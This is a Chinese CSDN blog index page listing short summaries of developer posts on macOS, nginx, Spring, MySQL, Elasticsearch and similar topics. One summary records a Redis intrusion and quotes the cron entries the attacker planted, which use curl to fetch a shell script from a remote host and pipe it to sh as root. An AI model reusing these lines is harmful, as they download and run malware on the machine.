自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(113)
  • 资源 (9)
  • 收藏
  • 关注

原创 mac os 配置两个github账号

macos 配置两个github账号

2024-03-18 16:44:55 767

原创 Gatsby typescript 项目配置 scss

Gatsby typescript项目如何使用独立的 scss 文件

2024-03-18 11:01:30 176

原创 macos 上彻底卸载 DevEco Studio

`~/Library/Preferences/`:查找以`com.huawei.deveco.studio`或类似名称开头的.plist文件,将其删除。- `~/Library/Saved Application State/`:查找与DevEco Studio相关的保存状态文件,将其删除。- `~/Library/Caches/`:查找与DevEco Studio相关的缓存文件或文件夹,将其删除。右键点击废纸篓图标并选择“清空废纸篓”以彻底删除DevEco Studio及其相关文件。

2023-11-13 10:36:03 2035 1

原创 【Spring Data】向Elasticsearch中写入时指定忽略字段

另一个 @Transient 注解对于JPA有效。

2022-11-10 09:24:47 1097 1

原创 【html】文本中的<a>自动换行了,如何避免换行

使用套在文本和的外面。

2022-10-19 16:25:34 1854

原创 【Javascript】浏览器中如何阻止页面自动跳转

然后在跳转时会alert弹窗,点击取消就会阻止页面跳转。在控制台运行如下代码,

2022-10-19 16:22:42 5389

原创 Chrome开发者工具对于异常请求不显示Response内容

在请求上右键选择“Copy”→“Copy as cURL”,如下图:然后在终端中粘贴上面赋值的内容,粘贴后如下:在最后加上“--output responsefile”,如下图所示:然后打开当前目录,可以看到生成的responsefile文件,如下所示:这个文件的具体格式可以参考响应头的Content-Type,这里是json文本,如图所示:所以responsefile文件可以通过文本编辑器直接打开。如果是图片或者xml,也可以指定文件后缀名,然后打开文件,查看文件内容。..

2021-09-28 21:23:00 1233

原创 阿里云oss Referer设置

比如Referer: http://www.abc.com/则应该添加 “*.abc.com”。而如果Referer: http://abc.com/则应该设置为“http://byuezhang.com”。所以一般来说,为了匹配一个域名与子域名,应该配置两条:*.abc.comhttp://abc.com...

2021-09-25 21:48:23 868

原创 跟CSDN客服反馈的交流

2021-09-14 18:13:50 153

原创 macos为flutter doctor --android-licenses配置多jdk版本

~ %>flutter doctor [Doctor summary (to see all details, run flutter doctor -v):[✓] Flutter (Channel stable, 2.2.3, on macOS 11.5.2.

2021-09-05 21:00:25 831

原创 关于表数据同步使用update_time时的注意事项

通常同步时都会有update_time字段,可是并不是所有仅仅使用语句“where update_time>'上一次的更新值'”这么简单,有一些细节需要注意。update_time可能会有多条数据重复同一个update_time。因为会有数据量比较大的情况,所以必然要分页处理,这时如果只根据update_time这一个字段来处理,那么在分页时会存在漏数据的情况。另外加一个唯一字段,比如id,但可能又有新的错误。错误的使用:where update_time>='last_updat

2021-09-01 15:44:06 1269

原创 Spring Data中什么是 Aggregate Roots

由repositories管理的实体类(entities)被称为聚合根(Aggregate Roots)。和Aggregate Roots相关的还有一个概念叫Publishing Events,发布事件?两个注解 @DomainEvents、@AfterDomainEventPublication。

2021-07-29 21:59:52 273

原创 昨天才放开redis 6379端口,今天数据就被人清掉了,还留下了backup 的四个key

先记录一下,以后有机会知道这四条数据什么意思backup1*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | shbackup2*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | shbackup3*/4 * * * * root curl -fsSL http://oracle

2021-07-27 10:39:07 4131 12

原创 Websocket 从header读取数据

Spring Boot项目。基本思路ServerEndpointConfig的属性UserProperties传递参数。(比自己创建HttpSession对象简单不少)具体操作是,首先在配置类中增加方法,从Header中取出数据,这里是取的“x-forwarded-for”的值,这是在nginx中设置到Header中的。具体代码如下:package com.donglake.booksnet.config;import com.donglake.booksnet.util.Collecti

2021-07-26 15:32:54 4329 3

原创 tail -f 命令卡住

发现原来是日志文件达到一定大小后重新创建了同名文件,所以命令追踪不到。使用 tail -F 可以解决,-F 在读取失败时会重新尝试从硬盘读取,所以能读取到新生成的日志文件。

2021-07-26 15:21:16 1140

原创 使用Lettuce执行命令,应该有多个返回值却只取到一个。

使用的是 LettuceConnection 的 execute 方法,这个方法其实有一个重载方法,如下: public Object execute(String command, byte[]... args) { return execute(command, null, args); } public Object execute(String command, @Nullable CommandOutput commandOutputTypeHint, byte[]...

2021-07-25 23:17:14 437

原创 nginx配置跨域对服务异常(包括404)时失效的解决

在location中使用 add_header 来配置支持跨域,配置如下:add_header Access-Control-Allow-Origin *;配置后正常的响应已经支持跨域,但是会发现当服务异常时(http状态码500)或者访问不存在的接口时(404)时浏览器仍然会报跨域的错误。经分析原因是 add_header 默认仅支持特定的响应状态码,包括200, 201 (1.3.10), 204, 206, 301, 302, 303, 304, 307 (1.1.16, 1.0.13)

2021-07-23 09:53:11 1635 1

原创 Hibernate getById方法 could not initialize proxy - no session

起因是代理类的创建默认懒加载了,解决方法是在发生问题的实体类上使用注解@Proxy,具体如下:import org.hibernate.annotations.Proxy;@Proxy(lazy = false)@Table(...)@Entity(...)...publi class User{ ...}

2021-07-22 16:00:22 303

原创 ES的curl常用命令

查看所有索引的信息GET _cat/indices?vcurl -X GET "localhost:9200/_cat/indices?v"查看索引test的统计信息GET _cat/indices/test?vcurl -X GET "localhost:9200/_cat/indices/test?v"查看字段的类型curl -X GET "localhost:9200/books/_mapping/field/publishDate?pretty"删除索引数据c

2021-07-12 19:08:44 563

原创 将Linux目录下的文件放到子目录中

下面是每个子目录中最多存放30000个文件,子目录命名为dir_001,dir_002...i=0;for f in *;do d=dir_$(printf %03d $((i/30000+1))); mkdir -p $d; mv -v "$f" $d; let i++;done

2021-07-09 12:50:32 266

原创 MySQL变量/参数的查看与设置

通过命令查看所有variablesshow global variables;结果如下:列表太长了!!!通过(模糊)匹配的方式查找variables,如下:show variables like "sync_binlog";输入结果如下:+---------------+-------+| Variable_name | Value |+---------------+-------+| sync_binlog | 0 |+---------------

2021-07-08 19:26:30 267

原创 MySQL 8.0设置sort_buffer_size

SET sort_buffer_size = 1024*1024———————————————————————————————————————————Java程序报错如下:java.sql.SQLException: Out of sort memory, consider increasing server sort buffer size———————————————————————————————————————————使用命令查看当前的设置:show variables li

2021-07-08 14:36:27 2520

原创 Spring Security配置放行请求,将参数放置于请求体时放行失效

配置如下: @Override public void configure(WebSecurity webSecurity){ //配置免登陆接口 webSecurity.ignoring().antMatchers( "/login/bypassword" // 登陆相关 //这里还有许多,为说明问题,把其他的都删掉了 ); }可是就是这个请求,将参数使用问号拼接时这个配置正常,但是当将参数放

2021-06-25 20:06:42 2747

原创 chrome.storage和window.localStorage的区别

window.localStorage是HTML5规范提供的,chrome.storage是Chrome浏览器提供的。window.localStorage不可以跨页面,chrome.storage可以跨页面。

2021-05-30 16:51:22 641

原创 pycharm使用pip install安装速度慢,更换镜像源

打开目录C:\Users\Administrator\AppData\Roaming\创建一个空文件夹pip并新建文件pip.ini[global]timeout = 6000 index-url = https://pypi.douban.com/simple/trusted-host = pypi.douban.com【其他镜像源推荐】清华:https://pypi.tuna.tsinghua.edu.cn/simple阿里云:http://mirrors.aliyun.co

2021-05-14 19:40:03 219

原创 一台电脑安装多个Chrome

因工作需要,在已经安装了Chromme90版本的Windows 10电脑上需要安装Chrome42版本,简单记录下过程:下载Chrome离线安装包(chromedownload.net)下载后为.exe文件,直接运行并不行,会默认打开已安装的Chrome。正确做法是解压这个.exe文件,解压出一个.7z压缩包,然后再解压,会解压出Chrome.exe和一个版本号命名的目录。把Chrome.exe放到版本号命名的目录中,并且创建一个空文件夹,文件位置任意,文件夹命名任意,这里命名为“user-

2021-05-13 15:31:01 5200

原创 JDK11使用HSDB

JDK11中没有了jre目录,也没有sa-jdi.jar。但是还是可以用的。系统管理员打开PowerShell,也可以使用cmd,差不多的。进入“jdk\bin ”这个目录,运行“jhsdb hsdb”,如下图。然后就是打开了HSDB这个熟悉的丑陋的界面。。。可以用了!!!=============================================================================================================

2021-05-05 19:29:15 1095

原创 更深入的理解动态代理——一个真正让我理解动态代理应用价值的示例

网上关于动态代理的示例很多,比如是接口A A.java接口A的实现类 AImpl.Java创建一个类型为“AImpl”的对象 AImpl aImpl = new AImpl();然后创建这个对象基于接口A的代理类对象proxy。 Proxy.newInstance(...);将proxy强转为类型A A aProxy = (A)proxy;然后调用aProxy就会调用到aImpl的实现。。。可能除了强制转换那块需要想一想外,其他的代码看起来也都很好理解,但会产生

2021-05-03 17:03:28 193

原创 IDEA的种种罪(Bug)

IDEA足够好用,足够复杂,bug也足够多。1、spring boot项目application.yaml在build时没有放到target目录下,会导致运行时无法找到配置文件。上一个项目还好好的新打开一个项目就不行了。

2021-05-02 15:47:45 199

原创 settings.xml‘ has syntax errors

起因是Idea加载项目时系统突然死机重启(win10 蓝屏),然后再加载项目也不现实src目录,通过加载模块的方式加载出了src目录,然后又报这个错误。查看了starter-parent的pom文件,发现文件结尾一对乱码,就把文件删了,然后maven reload还是不行。然后,把这两个目录删了,让maven重新下载,发现maven只下载parent,不下载dependencies,所以怀疑是配置maven错误。最后,start在IDEA 的setting中重新设置了下maven home,

2021-05-02 12:29:06 4433 1

原创 学习前端笔记

标题有六级h1~h6<p> ... </p> 段落,文字独占一行<i> ... </i> 斜体<b> ... </b> 文字加粗<br> 换行标记<hr> 水平线&nbsp; 空格<a href="链接地址"> target="_blank" 新页面打开 无序列表<ul type=""> disc 实心圆 circle 空心...

2021-04-08 09:30:59 80

原创 手撕源码之SpringApplication.java【Spring Boot 2.4.4】

1382行,真是又长又臭。捏着鼻子,干起来。0~86行,版权、报名和import的内容,略过。87~161行,类注释信息,还是要看一下。Class that can be used to bootstrap and launch a Spring application from a Java main method. 该类可以在main方法启动一个Spring应用程序。By default class will perform the following steps to bootstr

2021-04-06 19:45:04 182

原创 maven命令行创建项目,提示java.lang.NoClassDefFoundError: org/apache/maven/shared/invoker/MavenInvocationExcept

java.lang.NoClassDefFoundError: org/apache/maven/shared/invoker/MavenInvocationException跪了,Java11,Maven从3.5.2升级到3.6.3还是不行,没有一点头绪。这是看的maven官方文档的入门,真服。

2021-03-26 19:51:56 1079

原创 Maven scope中import的作用

(如果为了快速理解,直接看文档最后的举例。)我们不妨先看下官方文档:Dependency_Scope,关于import的说明如下:速读一遍,云里雾里的,下面一句一句来读。This scope is only supported on a dependency of type pom in the <dependencyManagement> section. 这个scope(指import)仅仅在<dependencyManagement>内部定义的pom&lt

2021-03-24 10:06:06 13343 5

原创 Socket通过读取数据阻塞的解决方案

写了一个简单的web后台,用socket接收并解析http请求。然而在网页发出第一次请求时总会卡住(其实是流阻塞了),刷新后可以访问。以及总是读取不到最后一部分数据。刚开始是这样写的private String getStringFromIOStream(InputStream ios){ BufferedReader reader = new BufferedReader( new InputStreamReader(ios)); StringBuilder re

2021-03-03 15:56:57 1918 2

原创 Java访问剪切板API控制台输出莫名异常

Exception "java.lang.ClassNotFoundException: com/intellij/codeInsight/editorActions/FoldingData"while constructing DataFlavor for: application/x-java-jvm-local-objectref; class=com.intellij.codeInsight.editorActions.FoldingDataException "java.lang.ClassN.

2021-03-01 19:24:52 3932 6

原创 Idea和Eclipse快捷键对比

功能 Idea Eclipse 查看方法的实现 Ctrl + Alt + 左键 Ctrl + 左键

2021-03-01 18:35:12 105

原创 pip install lmdb 中的错误

Downloading zipp-3.1.0-py3-none-any.whl (4.9 kB)Building wheels for collected packages: absl-py, easydict, lmdb, termcolor, wrapt, gast, pandocfilters, tornado, pyrsistent Building wheel for absl-py (setup.py) ... done Created wheel for absl-py: fi...

2020-06-10 07:59:18 2697

原创 乌班图apt添加阿里source

备份:sudo cp /etc/apt/sources.list /etc/apt/sources.list.backvim编辑list文件:sudo vim /etc/apt/sources.list文件开头添加:deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ xenial-security main

2020-06-09 09:55:14 367

原创 【转载】解决win10连接:L2TP连接尝试失败,因为安全层在初始化与远程计算机的...

https://blog.csdn.net/zhang33565417/article/details/103824451

2020-01-22 20:19:53 3888

neo4j-desktop-offline-1.2.4-setup.exe

(侵删) 2020-1-18 官网下载的,下载了三个小时,太慢了,遂搬运至此 DesktopKey请见博客 https://blog.csdn.net/oro99/article/details/104027886

2020-01-18

navicat_11.0.19_bhpoji.zip

非常友好的版本包含pojie机,可能对于高版本不支持。便于使用。

2017-12-23

InstallDocker.msi

InstallDocker.msi

2017-05-20

Kitematic-Windows.zip

官方Kitematic-Windows.zip

2017-05-20

knife4File

用于切割日志文件,将大文件切割文等大小文件,方便查看。

2016-11-10

Gson的jar包

2016-06-25

身份证号规则验证以及行政区号properties文件

身份证号规则验证 行政区号

2016-06-24

页面加载-3d效果源码

页面加载的3d效果,网络的资源

2016-02-02

达内电信计费系统

达内电信计费系统 老师写的版本老师写的版本

2015-04-09

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除